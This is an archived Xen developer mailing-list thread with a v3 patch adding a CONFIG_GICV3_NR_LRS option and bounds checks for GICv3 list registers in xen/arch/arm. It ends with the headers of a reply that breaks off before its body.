Received: from list by lists.xenproject.org with outflank-mailman.1355387.1610149 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgjUU-0000mM-3L; Mon, 06 Jul 2026 13:36:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355387.1610149; Mon, 06 Jul 2026 13:36:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgjUT-0000mF-VR; Mon, 06 Jul 2026 13:36:05 +0000
Received: by outflank-mailman (input) for mailman id 1355387;
 Mon, 06 Jul 2026 13:36:05 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wgjUS-0000m9-Rq
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 13:36:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgjUS-00A8Vt-8W
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:36:04 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4baf3f-bab6-0a2a0a5309dd-0a2a4509819e-14
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 15:36:03 +0200
Received: from [40.93.194.61]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4baf42-97e6-0a2a45090019-285dc23d248a-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 15:36:03 +0200
Received: from SJ0PR05CA0066.namprd05.prod.outlook.com (2603:10b6:a03:332::11)
 by MW4PR12MB7167.namprd12.prod.outlook.com (2603:10b6:303:225::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Mon, 6 Jul
 2026 13:35:57 +0000
Received: from BY1PEPF0001AE1D.namprd04.prod.outlook.com
 (2603:10b6:a03:332:cafe::a2) by SJ0PR05CA0066.outlook.office365.com
 (2603:10b6:a03:332::11) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.7 via Frontend Transport; Mon, 6
 Jul 2026 13:35:57 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BY1PEPF0001AE1D.mail.protection.outlook.com (10.167.242.106) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Mon, 6 Jul 2026 13:35:57 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Mon, 6 Jul
 2026 08:35:57 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb09.amd.com
 (10.181.42.218) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Mon, 6 Jul
 2026 06:35:56 -0700
Received: from xcbayankuma40.xilinx.com (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via
 Frontend Transport; Mon, 6 Jul 2026 08:35:55 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=E60gsmfncg1nmvRd6GHJVIwfikx9pnFgd3yjBY8LGE+zJekQw/OkRDgHcUUIYzAF4kV5a2zdh8q6FMhx7NA9WJEC9rCaRJwOGDRIgLtXbMRnsO0oJaVumtF3ULQQuTaEqouon9528kBy8LnJCLSgIcrAI69Tsh+qkLupinmUIWP7N9zfpFS56bSnrvpTUc/QDzKeSIg0/5PHOLsGmh0eLZECZU3TKtbqnsLpgTH8oa/hBJqXAw4yfWD5hKYFzgiiVbRL8E7IWkyYslC9HogQuxb9Ww9Ol53wVhCzyBL6mPehzR7s+dVPruPqPJha6cxjMN6IG0pUh1CGTCOFjvWwrQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=PIbUc3buFTq12sQv+tOHtXeOpEClYMe5fX1OvocDT60=;
 b=QYNPabMMkEZ/3VFR1APrWH70Z0yFFzPDb0RBViD/p1KWjN6mq0gSF6A/BDhac5qJmZGXo0qGDOMj20MhTE+PHbIm5cBxRUU0KYcNCvcjL20l/XbTMtXy2QT+9YFF/zugIM0yxIMnx7H6e0xVSOtwzTlDnd2JwVpbV6kJv6D2CklmBpbnAtvTqqEFkzeVwGdK+nAAiLjvbqztudUIPdZtZ1//vhZQ3nbwp4wEi/y3pm5kavwvNFlibgWCq61gIqUWGmG8uUu5F12uG9b6UGKYWV0381k8le/1PBqfj2iT0KGs98HfURwixzEmaX9w7yhjaCyspvFPn7TDOq0yE2kqzg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=PIbUc3buFTq12sQv+tOHtXeOpEClYMe5fX1OvocDT60=;
 b=fhTYC4BOFgVtC5eOwYhdrXdeIh+D2c/MoDwtYseXonwD9hUweaISs2ABYDM5i53Zl3UlMf/I2+31qhDSmnmYL59/kco1SX6pHIY0h/BSykUCrx387JpLqUglvQiQ1JbVlKP8C6ImRRDmKLB+pDBY5RWMNbslNeeoTKT2HSoka7s=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>, "Ayan
 Kumar Halder" <ayan.kumar.halder@amd.com>
Subject: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
Date: Mon, 6 Jul 2026 14:35:53 +0100
Message-ID: <20260706133553.3026786-1-ayan.kumar.halder@amd.com>
X-Mailer: git-send-email 2.25.1
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BY1PEPF0001AE1D:EE_|MW4PR12MB7167:EE_
X-MS-Office365-Filtering-Correlation-Id: b5b34ba9-d8d6-4bfa-0d9f-08dedb6382b6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|82310400026|36860700016|376014|1800799024|11063799006|56012099006|18002099003;
X-Microsoft-Antispam-Message-Info:
	KKk1Y8wq2MgPgxsLYWbf96gCQjHnUyoT5UC1kFPaf86oRwKyMr2nIiDUQau1YeZxgm7y/jFa5jrniJfQ3SvKs3rmh7Pa31r3MDYWJDJT52URCi6RROFgDce/RJb20amYCXvQ6tfCd3WPqYq2ypeuaknG6Mb6QbarbHYZBqZVPUhMKNitxZvwWAcoc7jtT5wTqyTPkDy05jUHyVj9PPPeN0irgUgJHV+TsQLyXiAizj3mP+enDZRNzVLK6ExmSlNEi0/+vTI5Woxym+J+klUqZ2gLJGT7Ue6VozK7u6tEutWJvmTm/VU3v/r09lTa9JzEWW0epkURPB17EZYbLL60dFP76dp7IrrqHhLPwwu1Xhb0HKZk1C86bvuGzI0y09HPODY7IR+KmfC0CUHnYNBbpFpDLbb0q8ukhafwCMvPSmwsNtRPDJ+zVNa7mH108/aIuXvvtl2vnErBTUXD7kjENC+RiF/4RAcCBv5ukIslJHuA5xL0dSGyXUakYrhQnDO8oBQFPQrFLvor6JIMrikWMBA6qowrjX+BuWnBzHaXz83U8Cx4OoYNM5vssfLfzjEruQ9bo1dBwexgO0Z1PI3yGbOv8XyNI71xg5KuCEwVNPyHqCepM5Ykn06lG1HRBuukUmLqBi+rFV3fU1V4m7mJ3TDaMkpQ/m3sNkyFnPQEAvdjVFwQYu+bUpZYTO0brSIYK0vO7Etm69BxCmV+KrParg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(82310400026)(36860700016)(376014)(1800799024)(11063799006)(56012099006)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	HivPYJje2JzseAdoOs/mCNIe98SinbnN587fHcOnHr0q6V5Qw+MipMkIue+2fkUUo/nlrHHWHE+fvbBd0Y+SGMMMV/LXYdBSX97yXgtsY+uq6Ct4PV6JFHHzS0SVKJp+Jxm6VXc9Js0HKyhexr6NW8Vr6iNQ8K5VH8Us6uyN/zklQIvxWP8F1lG6NkHMfGjURGe7G3z6DS327lKx65YSLG2VrGdQwew4J3cwOtg7NqvAXxMYIsY3+pLvri128fRCDToDoQ4dq/0Tq6Xx5RcYv3WhvSMiH7xrBC4DFFr16/Om91YVfQAdNKxVqt2NTA8h0bN8I1vD5sQ9d3pwnPXad551SI4DiHzrmHeb0/4bWFBgK8cJEHOEwExXizAEdfMPzcTPnBkDLenWoKd1zZrtYB3JFUdtLCqSeVkj3wSAkNulJltP31aaGFVFUlNZVEom
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 06 Jul 2026 13:35:57.3638
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b5b34ba9-d8d6-4bfa-0d9f-08dedb6382b6
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BY1PEPF0001AE1D.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW4PR12MB7167
X-purgate-ID: tlsNG-bad1c0/1783344963-44F2D986-1EC06643/0/0
X-purgate-type: clean
X-purgate-size: 5079

Add a Kconfig option that lets an integrator hard-code the number of
GICv3 Link Registers Xen uses. The default (0) keeps reading the count
from ICH_VTR_EL2.ListRegs at boot. A non-zero value is validated
against the hardware count in gicv3_hyp_init() and replaces
gicv3_info.nr_lrs.

gicv3_hyp_init() now panics if CONFIG_GICV3_NR_LRS exceeds the
hardware count, and zeroes all hardware LRs (once per CPU) as defensive
hardening, so any interrupt left in an LR that Xen will not manage
cannot be picked up by the GIC.

gicv3_ich_read_lr()/gicv3_ich_write_lr() now reject out-of-range
indices with an error message, ASSERT_UNREACHABLE() and WARN() instead
of silently returning RAZ/WI; reaching this path indicates a bug.

Signed-off-by: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
Signed-off-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in 
v3:
- Validate CONFIG_GICV3_NR_LRS against the hardware count in
  gicv3_hyp_init() and panic if it exceeds it (Julien, Luca).
- Allow an integrator to select fewer LRs than the hardware supports;
  gicv3_info.nr_lrs is replaced with the clamped value (Julien).
- Zero all hardware LRs in gicv3_hyp_init() as defensive hardening.
- Replace the silent RAZ/WI out-of-range path in gicv3_ich_read_lr()/
  gicv3_ich_write_lr() with gprintk() + ASSERT_UNREACHABLE() + WARN()
  (Julien).
- Renamed the Kconfig from LRS to NR_LRS (Julien).
- The link-time dead-code-elimination guard is split out into a
  separate follow-up patch.

v2:
- s/lrs/LRS.
- Implement RAZ/WI instead of panic.

 xen/arch/arm/Kconfig  |  9 ++++++++
 xen/arch/arm/gic-v3.c | 50 ++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 58 insertions(+), 1 deletion(-)

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 5fa89fcb24..798bc8e9b2 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -143,6 +143,15 @@ config GICV3_ESPI
 	  range, from 4096 to 5119. This feature is introduced in GICv3.1
 	  architecture.
 
+config GICV3_NR_LRS
+	int "Number of GICv3 Link Registers used" if EXPERT
+	depends on GICV3
+	range 0 16
+	default 0
+	help
+	  Controls the number of Link registers to be used.
+	  Keep it set to 0 to use a value obtained from a hardware register.
+
 config HAS_ITS
         bool "GICv3 ITS MSI controller support (UNSUPPORTED)" if UNSUPPORTED
         depends on GICV3 && !NEW_VGIC && !ARM_32
diff --git a/xen/arch/arm/gic-v3.c b/xen/arch/arm/gic-v3.c
index acdac22953..46ab0b6329 100644
--- a/xen/arch/arm/gic-v3.c
+++ b/xen/arch/arm/gic-v3.c
@@ -178,6 +178,15 @@ static inline void gicv3_restore_lrs(const struct vcpu *v)
 
 static uint64_t gicv3_ich_read_lr(int lr)
 {
+    if ( lr < 0 || lr >= gicv3_info.nr_lrs )
+    {
+        gprintk(XENLOG_ERR, "GICv3: LR read index %d out of range (nr_lrs %u)\n",
+                lr, gicv3_info.nr_lrs);
+        ASSERT_UNREACHABLE();
+        WARN();
+        return 0;
+    }
+
     switch ( lr )
     {
     case 0: return READ_SYSREG_LR(0);
@@ -203,6 +212,15 @@ static uint64_t gicv3_ich_read_lr(int lr)
 
 static void gicv3_ich_write_lr(int lr, uint64_t val)
 {
+    if ( lr < 0 || lr >= gicv3_info.nr_lrs )
+    {
+        gprintk(XENLOG_ERR, "GICv3: LR write index %d out of range (nr_lrs %u)\n",
+                lr, gicv3_info.nr_lrs);
+        ASSERT_UNREACHABLE();
+        WARN();
+        return;
+    }
+
     switch ( lr )
     {
     case 0:
@@ -1041,9 +1059,39 @@ static void gicv3_cpu_disable(void)
 static void gicv3_hyp_init(void)
 {
     register_t vtr;
+    uint8_t hw_nr_lrs;
 
     vtr = READ_SYSREG(ICH_VTR_EL2);
-    gicv3_info.nr_lrs  = (vtr & ICH_VTR_NRLRGS) + 1;
+    hw_nr_lrs = (vtr & ICH_VTR_NRLRGS) + 1;
+
+    if ( CONFIG_GICV3_NR_LRS && CONFIG_GICV3_NR_LRS > hw_nr_lrs )
+        panic("GICv3: CONFIG_GICV3_NR_LRS (%u) exceeds hardware nr_lrs (%u)\n",
+              CONFIG_GICV3_NR_LRS, hw_nr_lrs);
+
+    gicv3_info.nr_lrs = CONFIG_GICV3_NR_LRS ?: hw_nr_lrs;
+
+    /* Zero all hardware LRs. */
+    switch ( hw_nr_lrs )
+    {
+    case 16: WRITE_SYSREG_LR(0, 15); fallthrough;
+    case 15: WRITE_SYSREG_LR(0, 14); fallthrough;
+    case 14: WRITE_SYSREG_LR(0, 13); fallthrough;
+    case 13: WRITE_SYSREG_LR(0, 12); fallthrough;
+    case 12: WRITE_SYSREG_LR(0, 11); fallthrough;
+    case 11: WRITE_SYSREG_LR(0, 10); fallthrough;
+    case 10: WRITE_SYSREG_LR(0, 9); fallthrough;
+    case 9:  WRITE_SYSREG_LR(0, 8); fallthrough;
+    case 8:  WRITE_SYSREG_LR(0, 7); fallthrough;
+    case 7:  WRITE_SYSREG_LR(0, 6); fallthrough;
+    case 6:  WRITE_SYSREG_LR(0, 5); fallthrough;
+    case 5:  WRITE_SYSREG_LR(0, 4); fallthrough;
+    case 4:  WRITE_SYSREG_LR(0, 3); fallthrough;
+    case 3:  WRITE_SYSREG_LR(0, 2); fallthrough;
+    case 2:  WRITE_SYSREG_LR(0, 1); fallthrough;
+    case 1:  WRITE_SYSREG_LR(0, 0); break;
+    default: BUG();
+    }
+
     gicv3.nr_priorities = ((vtr >> ICH_VTR_PRIBITS_SHIFT) &
                           ICH_VTR_PRIBITS_MASK) + 1;
 
-- 
2.25.1



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:21:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:21:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355411.1610181 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgl8b-0006Se-Cw; Mon, 06 Jul 2026 15:21:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355411.1610181; Mon, 06 Jul 2026 15:21:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgl8b-0006SX-9u; Mon, 06 Jul 2026 15:21:37 +0000
Received: by outflank-mailman (input) for mailman id 1355411;
 Mon, 06 Jul 2026 15:21:36 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Luca.Fancellu@arm.com>) id 1wgl8a-0006SR-Bz
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:21:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgl8Z-008bwy-28
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:21:35 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Luca.Fancellu@arm.com>)
 id 6a4bc7f3-bab6-0a2a0a5309dd-0a2a4501cf46-18
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:21:34 +0200
Received: from [52.101.66.50]
 (helo=DUZPR83CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Luca.Fancellu@arm.com>)
 id 6a4bc7fd-400f-0a2a45010019-34654232fffc-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:21:34 +0200
Received: from DB9PR02CA0030.eurprd02.prod.outlook.com (2603:10a6:10:1d9::35)
 by DU2PR08MB10131.eurprd08.prod.outlook.com (2603:10a6:10:490::16)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Mon, 6 Jul 2026
 15:21:31 +0000
Received: from DB1PEPF000509FD.eurprd03.prod.outlook.com
 (2603:10a6:10:1d9:cafe::48) by DB9PR02CA0030.outlook.office365.com
 (2603:10a6:10:1d9::35) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.13 via Frontend Transport; Mon, 6
 Jul 2026 15:21:31 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 DB1PEPF000509FD.mail.protection.outlook.com (10.167.242.39) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.6
 via Frontend Transport; Mon, 6 Jul 2026 15:21:31 +0000
Received: from DU2PR08MB7272.eurprd08.prod.outlook.com (2603:10a6:10:2d7::16)
 by PAXPR08MB7333.eurprd08.prod.outlook.com (2603:10a6:102:230::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.19; Mon, 6 Jul
 2026 15:20:28 +0000
Received: from DU2PR08MB7272.eurprd08.prod.outlook.com
 ([fe80::5d34:206f:373:a323]) by DU2PR08MB7272.eurprd08.prod.outlook.com
 ([fe80::5d34:206f:373:a323%6]) with mapi id 15.21.0181.012; Mon, 6 Jul 2026
 15:20:28 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=CfG59zO7DJLEY++Jiu+ZPM9igR8BA3X7KRCKk1BV7ZlqVkpIUR4RXCu6rxd6qRMHo2S3qD+Xzlg9CQVF25GSA0UcZna8Wibst8Jr6NfUTaABm5F8FmpvTDXsLHQaAzo2n3G7GI+C/NObB/X8lBjyKRisWonzdnNpyxequrxD/tR36Nnh/bDXJAoDdmvSpkTez6bBTZ2+Vwl6THcXA3ktmTLtSO8d6wYcRa1GWeuUCB/2mGuVNY+6dodRJut8b5d8700flihGt64d/x8XhTJA3VC0n1yGFtlpIM9kF7uBx047zHvoLPzr9lY+TIrEXb+ajXWoFbErZLwxcJ0PQatZxA==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=mZ4LXnAodtbjIFQjpzGCIllxKv2xm11MYhrqPEunvdE=;
 b=pUlEeKF9J6dybfSvFvEquL5BHy2smTFXfRn9/EcYzyCEwBp5nWlE9OZtImcpxcUuZOLfIScpC8A50asIy27mXHHHgPDDngxoC8ux3FksV+/sK/VsD4m3P4A+2hOAV+codGWPZoF7S7brpMp7aMrP2p5uEbQVu6GkJ2clf+Gz66eAISxHXqOlve+4RvT5gXkaoRkwo+VoI0EPtwwZOPsV6DO3jK1CGl2cWV7CSrgWxnqgLrxTkYpQUJBgceYY2MLcW0hdhJxdX1TWt2SdqWH6tISefBa0uBJLefu5XXcZq7vfAmhFm0Q1wPrAQE1QLFN0OVtPGKo2G25oDAf0HoqlAQ==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=amd.com smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=mZ4LXnAodtbjIFQjpzGCIllxKv2xm11MYhrqPEunvdE=;
 b=ABVAHCBl9/siaivu/yE5neQyKOBcvTJfT6zb3wuLWes6axBYXaqMEU8txpx+zxLW0t/hWnrMgiIE1MRBXzF/8Zbm+ON0DFmMUA8UT9Vk4zlRckmcU/PocDlZLmMAjZf4dwGe8v7keIzEpBIbOGk096hmXg1bz/Jb1tvCCM303qs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xHJwstbwREMUzEfLnl6moWCRdgebeydDoVqNsR9k2o/lqFJU2/7TFuHghYEkXomNdvLgQcBxGaqzoSdyqPlmvrUWUttT6BEl9LCk/dCxC9/onCc540m+ot0ANPrZAVdiEBNu92fQikwRF0KA+iXWidqgb2S2iUtfnF6PJ3KH781TGZZSBDpW7FNzfYGnzCQ3E4C3Pfg02j/Glges6KsFohb1mw8zmeY5Pe5dKYQ7+UyathBUBsDJu6v+f9hDJ3HcoydpWlo/sC1h361VeYp16fS9DOomdhJDGW9/h4pBSFYW2atCSzPBmmHh6YMJ2tMNXggHJlMZi0J2qTlNN9jN/g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=mZ4LXnAodtbjIFQjpzGCIllxKv2xm11MYhrqPEunvdE=;
 b=vztBcFNAIh1PYEuD+QrmT25mwKaKt/D5JS+UeRCg1fuc//bJrUXjiA8Zqvh+nFx+iEWcpsAYgS2TS7R3lF5eIzL6bzc9nB4BrSUFpqJKrzK4GfS+7K1EYtBY1rfikZZl1jUmxEoBY9RR/m9SI+MbI1uxBiJovWKcCxJ8eLR2kXH507jsQ0iDK7z51hdUuuUfa0za+7ubsTlHqG1Rzfll2bNbV6z0UAIcxB2V6wK3w7FM4Dbvnv3ry/P2BlAuvyQlb5Uh+9mLtnIvSCLYvhKKNDusNLe1ITNUeyKneVmNcAJIj0kpJUH+g0QCVlXEX/WhvSbwsFYhjIB1zyCHBJ6k/w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=mZ4LXnAodtbjIFQjpzGCIllxKv2xm11MYhrqPEunvdE=;
 b=ABVAHCBl9/siaivu/yE5neQyKOBcvTJfT6zb3wuLWes6axBYXaqMEU8txpx+zxLW0t/hWnrMgiIE1MRBXzF/8Zbm+ON0DFmMUA8UT9Vk4zlRckmcU/PocDlZLmMAjZf4dwGe8v7keIzEpBIbOGk096hmXg1bz/Jb1tvCCM303qs=
From: Luca Fancellu <Luca.Fancellu@arm.com>
To: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, Stefano
 Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand
 Marquis <Bertrand.Marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: Re: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
Thread-Topic: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
Thread-Index: AQHdDUx1aTYp1QlnvU6G8jJKuMyIC7ZgmzWA
Date: Mon, 6 Jul 2026 15:20:28 +0000
